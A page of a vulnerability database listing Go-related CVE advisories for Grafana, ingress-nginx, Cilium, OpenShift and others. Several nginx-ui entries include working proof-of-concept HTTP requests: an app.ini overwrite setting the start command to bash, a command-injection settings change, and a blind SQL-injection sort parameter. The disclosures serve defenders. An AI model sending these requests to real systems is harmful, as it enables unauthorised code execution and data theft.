Threats tagged 'go'
730 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.6 | MirageEPSS 97% | CVE-2025-4123github.com/grafana/grafana · Grafana Cross-Site-Scripting (XSS) via custom loaded frontend plugin High7.6MirageEPSS 97%GCVE DatabaseCVE-2025-4123 CVE-2025-4123 is a high-severity cross-site scripting (XSS) vulnerability in Grafana caused by a combination of client path traversal and open redirect. It allows attackers to redirect users to a malicious frontend plugin that executes arbitrary JavaScript. The vulnerability does not require editor permissions and can be exploited if anonymous access is enabled. The default Content-Security-Policy (CSP) in Grafana mitigates the XSS via the connect-src directive. If the Grafana Image Renderer plugin is installed, the open redirect can be leveraged for a full read SSRF attack. A patch is available in version 0.0.0-20250521183405-c7a690348df7. | GCVE Database | ||
| Medium | 6.5 | EPSS 0.3% | Medium6.5EPSS 0.3%GCVE DatabaseCVE-2024-9355 A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building images for local usage, it can also upload images directly to cloud. It is compatible with composer-cli and cockpit-composer clients. Security Fix(es): * golang-fips: Golang FIPS zeroed buffer (CVE-2024-9355) * golang: net/http: net/http: sensitive headers incorrectly sent after cross-domain redirect (CVE-2024-45336) * crypto/internal/nistec: golang: Timing sidechannel for P-256 on ppc64le in crypto/internal/nistec (CVE-2025-22866) * crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption (CVE-2025-68121) * crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation (CVE-2026-32281) * crypto/x509: golang: Go crypto/x509: Certificate validation bypass due to incorrect DNS constraint application (CVE-2026-33810) * golang: internal/syscall/unix: Root.Chmod can follow symlinks out of the root (CVE-2026-32282) * crypto/tls: golang: Go crypto/tls: Denial of Service via multiple TLS 1.3 key update messages (CVE-2026-32283) * crypto/x509: crypto/tls: golang: Go: Denial of Service vulnerability in certificate chain building (CVE-2026-32280) * golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818) * net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860) * net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service (CVE-2026-56853) * html/template: golang: Go html/template: Cross-Site Scripting via pathological input (CVE-2026-56858) * crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862) * encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue (CVE-2026-56859) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. | GCVE Database | ||
| High | 7.8 | EPSS 0.4% | CVE-2024-9675Red Hat Security Advisory: OpenShift Container Platform 4.16.38 bug fix and security update High7.8EPSS 0.4%GCVE DatabaseCVE-2024-9675 Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.12.75. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2025:3575 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.12/html/release_notes Security Fix(es): * buildah: Buildah allows arbitrary directory mount (CVE-2024-9675) * golang.org/x/net/html: Non-linear parsing of case-insensitive content in golang.org/x/net/html (CVE-2024-45338) * kernel: ALSA: usb-audio: Fix potential out-of-bound accesses for Extigy and Mbox devices (CVE-2024-53197) * libxml2: Use-After-Free in libxml2 (CVE-2024-56171) * grub2: net: Out-of-bounds write in grub_net_search_config_file() (CVE-2025-0624) * libxml2: Stack-based buffer overflow in xmlSnprintfElements of libxml2 (CVE-2025-24928) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.12 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.12/html-single/updating_clusters/index#updating-cluster-within-minor. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.4% | Medium4.3EPSS 0.4%GCVE DatabaseCVE-2025-2786 A vulnerability in Grafana Tempo Operator prior to version 0.16.0 allows a user with full access to their namespace to extract the ServiceAccount token created by the operator. This token can be used to submit TokenReview and SubjectAccessReview requests, potentially exposing information about other users' permissions. The flaw does not allow privilege escalation or impersonation but may aid attackers in gathering information for further attacks. A fix is available in version 0.16.0. Red Hat has released an updated OpenShift distributed tracing platform (Tempo) 3.5.1 that addresses this issue. The vendor recommends deploying instances in dedicated namespaces and auditing user permissions as a workaround if the update cannot be applied immediately. | GCVE Database | ||
| Medium | 4.3 | EPSS 0.4% | Medium4.3EPSS 0.4%GCVE DatabaseCVE-2025-2842 A vulnerability in the Grafana Tempo Operator (CVE-2025-2842) allows exposure of sensitive information to unauthorized users. When the Jaeger UI Monitor Tab is enabled, the Operator creates a ClusterRoleBinding granting the cluster-monitoring-view ClusterRole to the Tempo instance's Service Account. If a user has 'create' permissions on TempoStack and 'get' permissions on Secrets in a namespace, they can read the Tempo service account token and access all cluster metrics. This issue affects versions prior to 0.16.0 and is fixed in version 0.16.0. The CVSS score is 4.3 (medium severity). | GCVE Database | ||
| Medium | 6.0 | EPSS 0.4% | CVE-2025-64346github.com/jaredallard/archives Has Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Medium6.0EPSS 0.4%GCVE DatabaseCVE-2025-64346 The github.com/jaredallard/archives library before version 1.0.1 contains a path traversal vulnerability that allows a malicious user to craft archives leading to remote code execution or file modification within the context of the running user. The impact severity depends on the permissions of the user running the library and the environment, with higher risk when run as root or in production systems. The vulnerability is fixed in version 1.0.1. | GCVE Database | ||
| Medium | 4.8 | EPSS 3.3% | Medium4.8EPSS 3.3%GCVE Database A directory traversal vulnerability exists in the ingress-nginx Admission Controller where attacker-controlled data is used in a filename, potentially allowing denial of service or limited disclosure of Secret objects when combined with other vulnerabilities. This affects ingress-nginx versions prior to 1.11.5 and versions from 1.12.0-beta.0 up to but not including 1.12.1. The issue has been assigned CVE-2025-24513 and has a medium severity rating with a CVSS score of 4.8. Fixed versions 1.11.5 and 1.12.1 are available. | GCVE Database | ||
| High | 8.8 | MirageEPSS 86% | High8.8MirageEPSS 86%GCVE Database A vulnerability in ingress-nginx controller allows configuration injection via unsanitized 'mirror-target' and 'mirror-host' annotations. This flaw can lead to arbitrary code execution within the ingress-nginx controller and disclosure of Secrets accessible to it. The default installation grants the controller access to all cluster-wide Secrets, increasing the impact. The issue affects versions prior to 1.11.5 and versions from 1.12.0-beta.0 up to but not including 1.12.1. Fixed in versions 1.11.5 and 1.12.1. | GCVE Database | ||
| High | 8.8 | MirageEPSS 36% | High8.8MirageEPSS 36%GCVE DatabaseCVE-2025-1097 A vulnerability in ingress-nginx allows an attacker to inject configuration via the unsanitized auth-tls-match-cn annotation. This can lead to arbitrary code execution within the ingress-nginx controller and disclosure of Secrets accessible to the controller, which by default has cluster-wide Secret access. Fixed versions 1.11.5 and 1.12.1 address this issue. | GCVE Database | ||
| Low | 3.4 | EPSS 0.2% | CVE-2025-30163github.com/cilium/cilium · Cilium node based network policies may incorrectly allow workload traffic Low3.4EPSS 0.2%GCVE DatabaseCVE-2025-30163 ### Impact [Node based network policies](https://docs.cilium.io/en/stable/security/policy/language/#node-based) (`fromNodes` and `toNodes`) will incorrectly permit traffic to/from non-node endpoints that share the labels specified in `fromNodes` and `toNodes` sections of network policies. Node based network policy is disabled by default in Cilium. ### Patches This issue was fixed by https://github.com/cilium/cilium/pull/36657. This issue affects: - Cilium v1.16 between v1.16.0 and v1.16.7 inclusive - Cilium v1.17 between v1.17.0 and v1.17.1 inclusive This issue is fixed in: - Cilium v1.16.8 - Cilium v1.17.2 ### Workarounds Users can work around this issue by ensuring that the labels used in `fromNodes` and `toNodes` fields are used exclusively by nodes and not by other endpoints. ### Acknowledgements The Cilium community has worked together with members of Isovalent to prepare these mitigations. Special thanks to @oblazek for reporting and fixing this issue. ### For more information If you think you have found a vulnerability affecting Cilium, we strongly encourage you to report it to our security mailing list at [security@cilium.io](mailto:security@cilium.io). This is a private mailing list for the Cilium security team, and your report will be treated as top priority. Please also address any comments or questions on this advisory to the same mailing list. | GCVE Database | ||
| Low | 3.8 | EPSS 0.2% | CVE-2024-6219github.com/canonical/lxd · lxd has a restricted TLS certificate privilege escalation when in PKI mode Low3.8EPSS 0.2%GCVE DatabaseCVE-2024-6219 LXD in PKI mode with a server.ca file present does not honor restrictions on TLS client certificates when the core.trust_ca_certificates option is set to false. This allows clients with restricted certificates to gain full access to LXD, bypassing intended privilege limitations. The issue arises from a logic flaw in how certificate restrictions are enforced in PKI mode. The vulnerability is considered low impact because PKI mode is not the default and users enabling it typically enable core.trust_ca_certificates, which grants full access to all CA-signed clients anyway. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.6% | CVE-2024-6538github.com/openshift/console · OpenShift Console Server Side Request Forgery vulnerability Medium5.3EPSS 0.6%GCVE DatabaseCVE-2024-6538 A Server Side Request Forgery (SSRF) vulnerability (CVE-2024-6538) exists in OpenShift Console versions up to 6.0.6. Authenticated users can exploit the /api/dev-console/proxy/internet endpoint to make arbitrary HTTP(S) requests from the console pod, including requests to internal cluster services not normally accessible. This could lead to information disclosure or other impacts on internal services. A security update fixing this issue is available in OpenShift Container Platform 4.15.57. | GCVE Database | ||
| High | 8.5 | EPSS 0.7% | CVE-2024-52009Atlantis logs · Git Credentials Are Exposed High8.5EPSS 0.7%GCVE DatabaseCVE-2024-52009 Atlantis versions prior to 0.30.0 log GitHub tokens in plaintext during token rotation. This exposure in logs can allow unauthorized users with log access to impersonate the Atlantis application and perform privileged actions on GitHub organizations managed by Atlantis. The vulnerability was fixed in Atlantis v0.30.0. | GCVE Database | ||
| Low | 3.7 | Low3.7GCVE Database **Component:** wasmd **Criticality:** Low ([ACMv1](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md): I:Moderate; L:Unlikely) **Patched versions:** wasmd 0.52.0 In multiple wasmd message types it was possible to add a large number of addresses which might lead to unexpected resource consumption in ValidateBasic. See [CWA-2024-003](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-003.md) for more details. | GCVE Database | |||
| High | 8.8 | EPSS 1.1% | High8.8EPSS 1.1%GCVE Database ### Summary Fix bypass to the following bugs - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35 Allowing to inject directly in the `app.ini` via CRLF to change the value of `test_config_cmd` and `start_cmd` resulting in an Authenticated RCE ### Impact Authenticated Remote execution on the host | GCVE Database | ||
| Critical | 9.8 | EPSS 0.7% | Critical9.8EPSS 0.7%GCVE Database ### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be appl | GCVE Database | ||
| High | 7.1 | EPSS 4.1% | CVE-2024-22198Nginx UI · Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268) High7.1EPSS 4.1%GCVE DatabaseCVE-2024-22198 ### Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. ### Details The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` ... } ... settings.ServerSettings = json.Server ... err := settings.Save() ... } ``` The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used: ```go func Pty(c *gin.Context) { ... p, err := pty.NewPipeLine(ws) ... } ``` The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows: ```go func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd) ... ``` This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"start_cmd":"bash"` : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Open a terminal from the web interface and execute arbitrary commands as `root`: ``` root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. | GCVE Database | ||
| High | 7.7 | EPSS 1.5% | CVE-2024-22197Nginx UI · Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269) High7.7EPSS 1.5%GCVE DatabaseCVE-2024-22197 ### Summary The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13). ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { ... Nginx settings.Nginx `json:"nginx"` ... } ... settings.NginxSettings = json.Nginx ... err := settings.Save() ... } ``` The `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function: ```go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd) return } out = execCommand("nginx", "-t") return } ``` The [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows: ```go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } ``` Where the `cmd` argument is user-controlled and is passed to `/bin/sh -c`. This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"test_config_cmd":"touch /tmp/pwned"`. ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256). 4. Verify that `/tmp/pwned` exists. ``` $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned ``` ### Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. | GCVE Database | ||
| High | 7.0 | EPSS 0.6% | CVE-2024-22196Nginx UI · Authenticated (user role) SQL injection in `OrderAndPaginate` (GHSL-2023-270) High7.0EPSS 0.6%GCVE DatabaseCVE-2024-22196 ### Summary The [`OrderAndPaginate`](https://github.com/0xjacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/model/model.go#L99C4) function is used to order and paginate data. It is defined as follows: ```go func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB { return func(db *gorm.DB) *gorm.DB { sort := c.DefaultQuery("order", "desc") order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort) db = db.Order(order) ... } } ``` By using [`DefaultQuery`](https://github.com/0xjacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/model/model.go#L278-L287), the `"desc"` and `"id"` values are used as default values if the query parameters are not set. Thus, the `order` and `sort_by` query parameter are user-controlled and are being appended to the `order` variable without any sanitization. The same happens with [`SortOrder`](https://github.com/0xjacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/model/model.go#L91), but it doesn't seem to be used anywhere. ```go func SortOrder(c *gin.Context) func(db *gorm.DB) *gorm.DB { return func(db *gorm.DB) *gorm.DB { sort := c.DefaultQuery("order", "desc") order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort) return db.Order(order) } } ``` This issue was found using CodeQL for Go: [Database query built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-sql-injection/). #### Proof of Concept > Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`. In order to exploit this issue, we need to find a place where the `OrderAndPaginate` function is used. We can find it in the `GET /api/dns_credentials` endpoint. ```go func GetDnsCredentialList(c *gin.Context) { cosy.Core[model.DnsCredential](c).SetFussy("provider").PagingList() } ``` The `PagingList` function is defined as follows: ```go func (c *Ctx[T]) PagingList() { data, ok := c.PagingListData() if ok { c.ctx.JSON(http.StatusOK, data) } } ``` And the `PagingListData` function is defined as follows: ```go func (c *Ctx[T]) PagingListData() (*model.DataList, bool) { result, ok := c.result() if !ok { return nil, false } result = result.Scopes(c.OrderAndPaginate()) ... } ``` Using the following request, an attacker can retrieve arbitrary values by checking the order used by the query. That is, the result of the comparison will make the response to be ordered in a specific way. ```http GET /api/dns_credentials?sort_by=(CASE+WHEN+(SELECT+1)=1+THEN+id+ELSE+updated_at+END)+ASC+--+ HTTP/1.1 Host: 127.0.0.1:8080 Authorization: <<JWT TOKEN> ``` You can notice the order change by changing `=1` to `=2`, and so the comparison will return `false` and the order will be `updated_at` instead of `id`. ### Impact This issue may lead to `Information Disclosure` | GCVE Database |
Page 37 of 37 · 1 duplicate CVE record merged